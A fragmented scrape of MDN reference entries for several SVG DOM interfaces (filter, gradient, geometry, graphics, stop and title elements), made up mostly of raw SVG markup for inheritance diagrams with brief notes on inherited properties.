ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfeoffsetelement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="391" y="94" font-size="12px" font-...
...family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgfeoffsetelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes.
SVGFEPointLightElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfepointlightelement" target="_top"><rect x="261" y="65" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="371" y="94" font-size="12px" f...
...ont-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgfepointlightelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement.
SVGFETileElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfetileelement" target="_top"><rect x="321" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="401" y="94" font-size="12px" font-fa...
...mily="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgfetileelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes.
SVGGeometryElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="391" y="94" font-size="12px" font-fam...
...ily="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svggraphicselement</t
ext></a><polyline points="301,89 291,84 291,94 301,89" stroke="#d4dde4" fill="none"/><line x1="291" y1="89" x2="261" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggeometryelement" target="_top"><rect x="81" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="171" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svggeometryelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} note: the pathlength property and the gettotallength() and getpointatlength() methods were originally part ...
SVGGraphicsElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="391" y="94" font-size="12px" font-...
...family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svggraphicselement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} note: this interface was introduced in svg 2 and replaces the svglocatable and svgtransformable interfaces from svg 1.1.
SVGLinearGradientElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggradientelement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="391" y="94" font-size="12px" font-fam...
...ily="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svggradientelement</t
ext></a><polyline points="301,89 291,84 291,94 301,89" stroke="#d4dde4" fill="none"/><line x1="291" y1="89" x2="261" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svglineargradientelement" target="_top"><rect x="21" y="65" width="240" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="141" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svglineargradientelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svggradientelement.
SVGMetadataElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgmetadataelement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="391" y="94" font-size="12px" font-...
...family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgmetadataelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent interface, svgelement.
SVGRadialGradientElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggradientelement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="391" y="94" font-size="12px" font-fam...
...ily="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svggradientelement</t
ext></a><polyline points="301,89 291,84 291,94 301,89" stroke="#d4dde4" fill="none"/><line x1="291" y1="89" x2="261" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgradialgradientelement" target="_top"><rect x="21" y="65" width="240" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="141" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgradialgradientelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svggradientelement.
SVGSetElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svganimationelement" target="_top"><rect x="291" y="65" width="190" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="386" y="94" font-size="12px" font-fa...
...mily="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svganimationelement</t
ext></a><polyline points="291,89 281,84 281,94 291,89" stroke="#d4dde4" fill="none"/><line x1="281" y1="89" x2="251" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgsetelement" target="_top"><rect x="121" y="65" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="186" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgsetelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent inter...
SVGStopElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgstopelement" target="_top"><rect x="341" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="411" y="94" font-size="12px" font-fami...
...ly="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgstopelement</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement.
SVGTitleElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
